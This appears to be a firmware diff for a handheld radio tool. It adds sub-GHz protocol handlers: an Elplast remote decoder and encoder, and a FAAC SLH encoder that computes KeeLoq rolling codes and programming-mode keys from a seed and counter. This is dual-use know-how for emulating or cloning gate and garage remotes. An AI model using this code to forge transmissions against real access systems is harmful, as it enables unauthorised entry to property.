if(i == 1) {
|
||||
//Send gap if bit was last
|
||||
instance->encoder.upload[index++] = level_duration_make(
|
||||
false, (uint32_t)subghz_protocol_elplast_const.te_long * 8);
|
||||
} else {
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_elplast_const.te_long);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
instance->encoder.size_upload = index;
|
||||
return;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_elplast_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderElplast* instance = context;
|
||||
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
|
||||
do {
|
||||
ret = subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic,
|
||||
flipper_format,
|
||||
subghz_protocol_elplast_const.min_count_bit_for_found);
|
||||
if(ret != SubGhzProtocolStatusOk) {
|
||||
break;
|
||||
}
|
||||
// Optional value
|
||||
flipper_format_read_uint32(
|
||||
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
|
||||
|
||||
subghz_protocol_encoder_elplast_get_upload(instance);
|
||||
instance->encoder.is_running = true;
|
||||
} while(false);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_elplast_stop(void* context) {
|
||||
SubGhzProtocolEncoderElplast* instance = context;
|
||||
instance->encoder.is_running = false;
|
||||
}
|
||||
|
||||
LevelDuration subghz_protocol_encoder_elplast_yield(void* context) {
|
||||
SubGhzProtocolEncoderElplast* instance = context;
|
||||
|
||||
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
|
||||
instance->encoder.is_running = false;
|
||||
return level_duration_reset();
|
||||
}
|
||||
|
||||
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
|
||||
|
||||
if(++instance->encoder.front == instance->encoder.size_upload) {
|
||||
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
|
||||
instance->encoder.front = 0;
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void* subghz_protocol_decoder_elplast_alloc(SubGhzEnvironment* environment) {
|
||||
UNUSED(environment);
|
||||
SubGhzProtocolDecoderElplast* instance = malloc(sizeof(SubGhzProtocolDecoderElplast));
|
||||
instance->base.protocol = &subghz_protocol_elplast;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_elplast_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderElplast* instance = context;
|
||||
free(instance);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_elplast_reset(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderElplast* instance = context;
|
||||
instance->decoder.parser_step = ElplastDecoderStepReset;
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_elplast_feed(void* context, bool level, volatile uint32_t duration) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderElplast* instance = context;
|
||||
|
||||
// Elplast/P-11B/3BK/E.C.A Decoder
|
||||
// 2025.09 - @xMasterX (MMX)
|
||||
|
||||
// Key samples
|
||||
// 00110010110000001010 = 32C0A
|
||||
// 00110010110010000010 = 32C82
|
||||
|
||||
switch(instance->decoder.parser_step) {
|
||||
case ElplastDecoderStepReset:
|
||||
if((!level) && (DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long * 8) <
|
||||
subghz_protocol_elplast_const.te_delta * 13)) {
|
||||
//Found GAP
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
|
||||
}
|
||||
break;
|
||||
case ElplastDecoderStepSaveDuration:
|
||||
if(level) {
|
||||
instance->decoder.te_last = duration;
|
||||
instance->decoder.parser_step = ElplastDecoderStepCheckDuration;
|
||||
} else {
|
||||
instance->decoder.parser_step = ElplastDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
case ElplastDecoderStepCheckDuration:
|
||||
if(!level) {
|
||||
// Bit 1 is long and short timing = 1550us HIGH (te_last) and 230us LOW
|
||||
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_elplast_const.te_long) <
|
||||
subghz_protocol_elplast_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_elplast_const.te_short) <
|
||||
subghz_protocol_elplast_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
|
||||
// Bit 0 is short and long timing = 230us HIGH (te_last) and 1550us LOW
|
||||
} else if(
|
||||
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_elplast_const.te_short) <
|
||||
subghz_protocol_elplast_const.te_delta) &&
|
||||
(DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long) <
|
||||
subghz_protocol_elplast_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
|
||||
} else if(
|
||||
// End of the key
|
||||
DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long * 8) <
|
||||
subghz_protocol_elplast_const.te_delta * 13) {
|
||||
//Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
|
||||
if((DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_elplast_const.te_long) <
|
||||
subghz_protocol_elplast_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
|
||||
}
|
||||
if((DURATION_DIFF(
|
||||
instance->decoder.te_last, subghz_protocol_elplast_const.te_short) <
|
||||
subghz_protocol_elplast_const.te_delta)) {
|
||||
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
|
||||
}
|
||||
// If got 18 bits key reading is finished
|
||||
if(instance->decoder.decode_count_bit ==
|
||||
subghz_protocol_elplast_const.min_count_bit_for_found) {
|
||||
instance->generic.data = instance->decoder.decode_data;
|
||||
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
|
||||
if(instance->base.callback)
|
||||
instance->base.callback(&instance->base, instance->base.context);
|
||||
}
|
||||
instance->decoder.decode_data = 0;
|
||||
instance->decoder.decode_count_bit = 0;
|
||||
instance->decoder.parser_step = ElplastDecoderStepReset;
|
||||
} else {
|
||||
instance->decoder.parser_step = ElplastDecoderStepReset;
|
||||
}
|
||||
} else {
|
||||
instance->decoder.parser_step = ElplastDecoderStepReset;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
uint8_t subghz_protocol_decoder_elplast_get_hash_data(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderElplast* instance = context;
|
||||
return subghz_protocol_blocks_get_hash_data(
|
||||
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_elplast_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderElplast* instance = context;
|
||||
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_elplast_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderElplast* instance = context;
|
||||
return subghz_block_generic_deserialize_check_count_bit(
|
||||
&instance->generic, flipper_format, subghz_protocol_elplast_const.min_count_bit_for_found);
|
||||
}
|
||||
|
||||
void subghz_protocol_decoder_elplast_get_string(void* context, FuriString* output) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolDecoderElplast* instance = context;
|
||||
|
||||
uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
|
||||
instance->generic.data, instance->generic.data_count_bit);
|
||||
|
||||
uint32_t code_found_reverse_lo = code_found_reverse & 0x000003ffffffffff;
|
||||
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"%s %db\r\n"
|
||||
"Key: 0x%05lX\r\n"
|
||||
"Yek: 0x%05lX",
|
||||
instance->generic.protocol_name,
|
||||
instance->generic.data_count_bit,
|
||||
(uint32_t)(instance->generic.data & 0xFFFFFF),
|
||||
code_found_reverse_lo);
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
#pragma once
|
||||
|
||||
#include "base.h"
|
||||
|
||||
#define SUBGHZ_PROTOCOL_ELPLAST_NAME "Elplast"
|
||||
|
||||
typedef struct SubGhzProtocolDecoderElplast SubGhzProtocolDecoderElplast;
|
||||
typedef struct SubGhzProtocolEncoderElplast SubGhzProtocolEncoderElplast;
|
||||
|
||||
extern const SubGhzProtocolDecoder subghz_protocol_elplast_decoder;
|
||||
extern const SubGhzProtocolEncoder subghz_protocol_elplast_encoder;
|
||||
extern const SubGhzProtocol subghz_protocol_elplast;
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolEncoderElplast.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolEncoderElplast* pointer to a SubGhzProtocolEncoderElplast instance
|
||||
*/
|
||||
void* subghz_protocol_encoder_elplast_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolEncoderElplast.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderElplast instance
|
||||
*/
|
||||
void subghz_protocol_encoder_elplast_free(void* context);
|
||||
|
||||
/**
|
||||
* Deserialize and generating an upload to send.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderElplast instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_elplast_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Forced transmission stop.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderElplast instance
|
||||
*/
|
||||
void subghz_protocol_encoder_elplast_stop(void* context);
|
||||
|
||||
/**
|
||||
* Getting the level and duration of the upload to be loaded into DMA.
|
||||
* @param context Pointer to a SubGhzProtocolEncoderElplast instance
|
||||
* @return LevelDuration
|
||||
*/
|
||||
LevelDuration subghz_protocol_encoder_elplast_yield(void* context);
|
||||
|
||||
/**
|
||||
* Allocate SubGhzProtocolDecoderElplast.
|
||||
* @param environment Pointer to a SubGhzEnvironment instance
|
||||
* @return SubGhzProtocolDecoderElplast* pointer to a SubGhzProtocolDecoderElplast instance
|
||||
*/
|
||||
void* subghz_protocol_decoder_elplast_alloc(SubGhzEnvironment* environment);
|
||||
|
||||
/**
|
||||
* Free SubGhzProtocolDecoderElplast.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
|
||||
*/
|
||||
void subghz_protocol_decoder_elplast_free(void* context);
|
||||
|
||||
/**
|
||||
* Reset decoder SubGhzProtocolDecoderElplast.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
|
||||
*/
|
||||
void subghz_protocol_decoder_elplast_reset(void* context);
|
||||
|
||||
/**
|
||||
* Parse a raw sequence of levels and durations received from the air.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
|
||||
* @param level Signal level true-high false-low
|
||||
* @param duration Duration of this level in, us
|
||||
*/
|
||||
void subghz_protocol_decoder_elplast_feed(void* context, bool level, uint32_t duration);
|
||||
|
||||
/**
|
||||
* Getting the hash sum of the last randomly received parcel.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
|
||||
* @return hash Hash sum
|
||||
*/
|
||||
uint8_t subghz_protocol_decoder_elplast_get_hash_data(void* context);
|
||||
|
||||
/**
|
||||
* Serialize data SubGhzProtocolDecoderElplast.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus subghz_protocol_decoder_elplast_serialize(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
SubGhzRadioPreset* preset);
|
||||
|
||||
/**
|
||||
* Deserialize data SubGhzProtocolDecoderElplast.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
|
||||
* @param flipper_format Pointer to a FlipperFormat instance
|
||||
* @return status
|
||||
*/
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_decoder_elplast_deserialize(void* context, FlipperFormat* flipper_format);
|
||||
|
||||
/**
|
||||
* Getting a textual representation of the received data.
|
||||
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
|
||||
* @param output Resulting text
|
||||
*/
|
||||
void subghz_protocol_decoder_elplast_get_string(void* context, FuriString* output);
|
||||
@@ -0,0 +1,795 @@
|
||||
#include "faac_slh.h"
|
||||
#include "../subghz_keystore.h"
|
||||
#include <m-array.h>
|
||||
#include "keeloq_common.h"
|
||||
#include <lib/subghz/blocks/const.h>
|
||||
#include <lib/subghz/blocks/decoder.h>
|
||||
#include <lib/subghz/blocks/encoder.h>
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <lib/subghz/blocks/math.h>
|
||||
|
||||
#include <lib/subghz/blocks/custom_btn_i.h>
|
||||
|
||||
#define TAG "SubGhzProtocolFaacSLH"
|
||||
|
||||
static const SubGhzBlockConst subghz_protocol_faac_slh_const = {
|
||||
.te_short = 255,
|
||||
.te_long = 595,
|
||||
.te_delta = 100,
|
||||
.min_count_bit_for_found = 64,
|
||||
};
|
||||
|
||||
static uint32_t temp_fix_backup = 0;
|
||||
static uint32_t temp_counter_backup = 0;
|
||||
static bool faac_prog_mode = false;
|
||||
static bool allow_zero_seed = false;
|
||||
|
||||
void faac_slh_reset_prog_mode(void) {
|
||||
temp_fix_backup = 0;
|
||||
temp_counter_backup = 0;
|
||||
faac_prog_mode = false;
|
||||
allow_zero_seed = false;
|
||||
}
|
||||
|
||||
struct SubGhzProtocolDecoderFaacSLH {
|
||||
SubGhzProtocolDecoderBase base;
|
||||
|
||||
SubGhzBlockDecoder decoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
SubGhzKeystore* keystore;
|
||||
const char* manufacture_name;
|
||||
};
|
||||
|
||||
struct SubGhzProtocolEncoderFaacSLH {
|
||||
SubGhzProtocolEncoderBase base;
|
||||
|
||||
SubGhzProtocolBlockEncoder encoder;
|
||||
SubGhzBlockGeneric generic;
|
||||
|
||||
SubGhzKeystore* keystore;
|
||||
const char* manufacture_name;
|
||||
};
|
||||
|
||||
typedef enum {
|
||||
FaacSLHDecoderStepReset = 0,
|
||||
FaacSLHDecoderStepFoundPreambula,
|
||||
FaacSLHDecoderStepSaveDuration,
|
||||
FaacSLHDecoderStepCheckDuration,
|
||||
} FaacSLHDecoderStep;
|
||||
|
||||
const SubGhzProtocolDecoder subghz_protocol_faac_slh_decoder = {
|
||||
.alloc = subghz_protocol_decoder_faac_slh_alloc,
|
||||
.free = subghz_protocol_decoder_faac_slh_free,
|
||||
|
||||
.feed = subghz_protocol_decoder_faac_slh_feed,
|
||||
.reset = subghz_protocol_decoder_faac_slh_reset,
|
||||
|
||||
.get_hash_data = subghz_protocol_decoder_faac_slh_get_hash_data,
|
||||
.serialize = subghz_protocol_decoder_faac_slh_serialize,
|
||||
.deserialize = subghz_protocol_decoder_faac_slh_deserialize,
|
||||
.get_string = subghz_protocol_decoder_faac_slh_get_string,
|
||||
};
|
||||
|
||||
const SubGhzProtocolEncoder subghz_protocol_faac_slh_encoder = {
|
||||
.alloc = subghz_protocol_encoder_faac_slh_alloc,
|
||||
.free = subghz_protocol_encoder_faac_slh_free,
|
||||
|
||||
.deserialize = subghz_protocol_encoder_faac_slh_deserialize,
|
||||
.stop = subghz_protocol_encoder_faac_slh_stop,
|
||||
.yield = subghz_protocol_encoder_faac_slh_yield,
|
||||
};
|
||||
|
||||
const SubGhzProtocol subghz_protocol_faac_slh = {
|
||||
.name = SUBGHZ_PROTOCOL_FAAC_SLH_NAME,
|
||||
.type = SubGhzProtocolTypeDynamic,
|
||||
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM |
|
||||
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
|
||||
SubGhzProtocolFlag_Send,
|
||||
|
||||
.decoder = &subghz_protocol_faac_slh_decoder,
|
||||
.encoder = &subghz_protocol_faac_slh_encoder,
|
||||
};
|
||||
|
||||
/**
|
||||
* Analysis of received data
|
||||
* @param instance Pointer to a SubGhzBlockGeneric* instance
|
||||
* @param keystore Pointer to a SubGhzKeystore* instance
|
||||
* @param manufacture_name
|
||||
*/
|
||||
static void subghz_protocol_faac_slh_check_remote_controller(
|
||||
SubGhzBlockGeneric* instance,
|
||||
SubGhzKeystore* keystore,
|
||||
const char** manufacture_name);
|
||||
|
||||
void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment) {
|
||||
SubGhzProtocolEncoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolEncoderFaacSLH));
|
||||
|
||||
instance->base.protocol = &subghz_protocol_faac_slh;
|
||||
instance->generic.protocol_name = instance->base.protocol->name;
|
||||
instance->keystore = subghz_environment_get_keystore(environment);
|
||||
|
||||
instance->encoder.repeat = 3;
|
||||
instance->encoder.size_upload = 256;
|
||||
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
|
||||
instance->encoder.is_running = false;
|
||||
return instance;
|
||||
}
|
||||
|
||||
void subghz_protocol_encoder_faac_slh_free(void* context) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderFaacSLH* instance = context;
|
||||
free(instance->encoder.upload);
|
||||
free(instance);
|
||||
}
|
||||
|
||||
static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) {
|
||||
// override button if we change it with signal settings button editor
|
||||
// else work as standart
|
||||
if(subghz_block_generic_global_button_override_get(&instance->generic.btn)) {
|
||||
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
|
||||
} else {
|
||||
// TODO: Stupid bypass for custom button, remake later
|
||||
if(subghz_custom_btn_get_original() == 0) {
|
||||
subghz_custom_btn_set_original(0xF);
|
||||
}
|
||||
|
||||
uint8_t custom_btn_id = subghz_custom_btn_get();
|
||||
|
||||
// If we are using UP button - generate programming mode key and send it, otherwise - send regular key if possible
|
||||
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) &&
|
||||
!(!allow_zero_seed && (instance->generic.seed == 0x0))) {
|
||||
uint8_t data_tmp = 0;
|
||||
uint8_t data_prg[8];
|
||||
|
||||
data_prg[0] = 0x00;
|
||||
|
||||
if(allow_zero_seed || (instance->generic.seed != 0x0)) {
|
||||
// check OFEX mode
|
||||
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
|
||||
// standart counter mode. PULL data from subghz_block_generic_global variables
|
||||
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
|
||||
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
|
||||
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) >
|
||||
0xFFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else {
|
||||
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// TODO: OFEX mode
|
||||
instance->generic.cnt += 1;
|
||||
}
|
||||
|
||||
if(temp_counter_backup != 0x0) {
|
||||
// check OFEX mode
|
||||
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
|
||||
// standart counter mode. PULL data from subghz_block_generic_global variables
|
||||
if(!subghz_block_generic_global_counter_override_get(
|
||||
&temp_counter_backup)) {
|
||||
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
|
||||
if((temp_counter_backup + furi_hal_subghz_get_rolling_counter_mult()) >
|
||||
0xFFFFF) {
|
||||
temp_counter_backup = 0;
|
||||
} else {
|
||||
temp_counter_backup += furi_hal_subghz_get_rolling_counter_mult();
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// todo OFEX mode
|
||||
temp_counter_backup += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
data_prg[1] = instance->generic.cnt & 0xFF;
|
||||
|
||||
data_prg[2] = (uint8_t)(instance->generic.seed & 0xFF);
|
||||
data_prg[3] = (uint8_t)(instance->generic.seed >> 8 & 0xFF);
|
||||
data_prg[4] = (uint8_t)(instance->generic.seed >> 16 & 0xFF);
|
||||
data_prg[5] = (uint8_t)(instance->generic.seed >> 24);
|
||||
|
||||
data_prg[2] ^= data_prg[1];
|
||||
data_prg[3] ^= data_prg[1];
|
||||
data_prg[4] ^= data_prg[1];
|
||||
data_prg[5] ^= data_prg[1];
|
||||
|
||||
for(uint8_t i = data_prg[1] & 0x0F; i != 0; i--) {
|
||||
data_tmp = data_prg[5];
|
||||
|
||||
data_prg[5] = ((data_prg[5] << 1) & 0xFF) | (data_prg[4] & 0x80) >> 7;
|
||||
data_prg[4] = ((data_prg[4] << 1) & 0xFF) | (data_prg[3] & 0x80) >> 7;
|
||||
data_prg[3] = ((data_prg[3] << 1) & 0xFF) | (data_prg[2] & 0x80) >> 7;
|
||||
data_prg[2] = ((data_prg[2] << 1) & 0xFF) | (data_tmp & 0x80) >> 7;
|
||||
}
|
||||
data_prg[6] = 0x0F;
|
||||
data_prg[7] = 0x52;
|
||||
|
||||
uint32_t enc_prg_1 = data_prg[7] << 24 | data_prg[6] << 16 | data_prg[5] << 8 |
|
||||
data_prg[4];
|
||||
uint32_t enc_prg_2 = data_prg[3] << 24 | data_prg[2] << 16 | data_prg[1] << 8 |
|
||||
data_prg[0];
|
||||
instance->generic.data = (uint64_t)enc_prg_1 << 32 | enc_prg_2;
|
||||
//FURI_LOG_D(TAG, "New Prog Mode Key Generated: %016llX\r", instance->generic.data);
|
||||
|
||||
return true;
|
||||
} else {
|
||||
if(!allow_zero_seed && (instance->generic.seed == 0x0)) {
|
||||
// Do not generate new data, send data from buffer
|
||||
return true;
|
||||
}
|
||||
// If we are in prog mode and regular Send button is used - Do not generate new data, send data from buffer
|
||||
if((faac_prog_mode == true) && (instance->generic.serial == 0x0) &&
|
||||
(instance->generic.btn == 0x0) && (temp_fix_backup == 0x0)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
// Restore main remote data when we exit programming mode
|
||||
if((instance->generic.serial == 0x0) && (instance->generic.btn == 0x0) &&
|
||||
(temp_fix_backup != 0x0) && !faac_prog_mode) {
|
||||
instance->generic.serial = temp_fix_backup >> 4;
|
||||
instance->generic.btn = temp_fix_backup & 0xF;
|
||||
if(temp_counter_backup != 0x0) {
|
||||
instance->generic.cnt = temp_counter_backup;
|
||||
}
|
||||
}
|
||||
}
|
||||
uint32_t fix = instance->generic.serial << 4 | instance->generic.btn;
|
||||
uint32_t hop = 0;
|
||||
uint32_t decrypt = 0;
|
||||
uint64_t man = 0;
|
||||
int res = 0;
|
||||
char fixx[8] = {};
|
||||
int shiftby = 32;
|
||||
for(int i = 0; i < 8; i++) {
|
||||
fixx[i] = (fix >> (shiftby -= 4)) & 0xF;
|
||||
}
|
||||
|
||||
if(allow_zero_seed || (instance->generic.seed != 0x0)) {
|
||||
// check OFEX mode
|
||||
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
|
||||
// standart counter mode. PULL data from subghz_block_generic_global variables
|
||||
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
|
||||
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
|
||||
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) >
|
||||
0xFFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else {
|
||||
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// OFEX mode
|
||||
if(instance->generic.cnt < 0xFFFFF) {
|
||||
if((instance->generic.cnt + 0xFFFFF) > 0xFFFFF) {
|
||||
instance->generic.cnt = 0;
|
||||
} else {
|
||||
instance->generic.cnt += 0xFFFFF;
|
||||
}
|
||||
} else if(
|
||||
(instance->generic.cnt >= 0xFFFFF) &&
|
||||
(furi_hal_subghz_get_rolling_counter_mult() != 0)) {
|
||||
instance->generic.cnt = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if((instance->generic.cnt % 2) == 0) {
|
||||
decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 |
|
||||
(instance->generic.cnt & 0xFFFFF);
|
||||
} else {
|
||||
decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 |
|
||||
(instance->generic.cnt & 0xFFFFF);
|
||||
}
|
||||
for
|
||||
M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) {
|
||||
res = strcmp(furi_string_get_cstr(manufacture_code->name), instance->manufacture_name);
|
||||
if(res == 0) {
|
||||
switch(manufacture_code->type) {
|
||||
case KEELOQ_LEARNING_FAAC:
|
||||
//FAAC Learning
|
||||
man = subghz_protocol_keeloq_common_faac_learning(
|
||||
instance->generic.seed, manufacture_code->key);
|
||||
hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(hop) {
|
||||
instance->generic.data = (uint64_t)fix << 32 | hop;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool subghz_protocol_faac_slh_create_data(
|
||||
void* context,
|
||||
FlipperFormat* flipper_format,
|
||||
uint32_t serial,
|
||||
uint8_t btn,
|
||||
uint32_t cnt,
|
||||
uint32_t seed,
|
||||
const char* manufacture_name,
|
||||
SubGhzRadioPreset* preset) {
|
||||
furi_assert(context);
|
||||
// OwO
|
||||
SubGhzProtocolEncoderFaacSLH* instance = context;
|
||||
instance->generic.serial = serial;
|
||||
instance->generic.btn = btn;
|
||||
instance->generic.cnt = (cnt & 0xFFFFF);
|
||||
instance->generic.seed = seed;
|
||||
instance->manufacture_name = manufacture_name;
|
||||
instance->generic.data_count_bit = 64;
|
||||
allow_zero_seed = true;
|
||||
bool res = subghz_protocol_faac_slh_gen_data(instance);
|
||||
if(res) {
|
||||
return SubGhzProtocolStatusOk ==
|
||||
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
/**
|
||||
* Generating an upload from data.
|
||||
* @param instance Pointer to a SubGhzProtocolEncoderFaacSLH instance
|
||||
* @return true On success
|
||||
*/
|
||||
static bool subghz_protocol_encoder_faac_slh_get_upload(SubGhzProtocolEncoderFaacSLH* instance) {
|
||||
furi_assert(instance);
|
||||
|
||||
subghz_protocol_faac_slh_gen_data(instance);
|
||||
size_t index = 0;
|
||||
size_t size_upload = 2 + (instance->generic.data_count_bit * 2);
|
||||
if(size_upload > instance->encoder.size_upload) {
|
||||
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
|
||||
return false;
|
||||
} else {
|
||||
instance->encoder.size_upload = size_upload;
|
||||
}
|
||||
|
||||
//Send header
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2);
|
||||
|
||||
//Send key data
|
||||
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
|
||||
if(bit_read(instance->generic.data, i - 1)) {
|
||||
//send bit 1
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_short);
|
||||
} else {
|
||||
//send bit 0
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_short);
|
||||
instance->encoder.upload[index++] =
|
||||
level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_long);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
SubGhzProtocolStatus
|
||||
subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) {
|
||||
furi_assert(context);
|
||||
SubGhzProtocolEncoderFaacSLH* instance = context;
|
||||
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
|
||||
do {
|
||||
if(SubGhzProtocolStatusOk !=
|
||||
subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Deserialize error");
|
||||
break;
|
||||
}
|
||||
uint8_t seed_data[sizeof(uint32_t)] = {0};
|
||||
for(size_t i = 0; i < sizeof(uint32_t); i++) {
|
||||
seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
|
||||
}
|
||||
if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
|
||||
FURI_LOG_E(TAG, "Missing Seed");
|
||||
break;
|
||||
}
|
||||
bool tmp_allow_zero_seed;
|
||||
if(flipper_format_read_bool(flipper_format, "AllowZeroSeed", &tmp_allow_zero_seed, 1)) {
|
||||
allow_zero_seed = true;
|
||||
} else {
|
||||
allow_zero_seed = false;
|
||||
}
|
||||
|
||||
instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
|
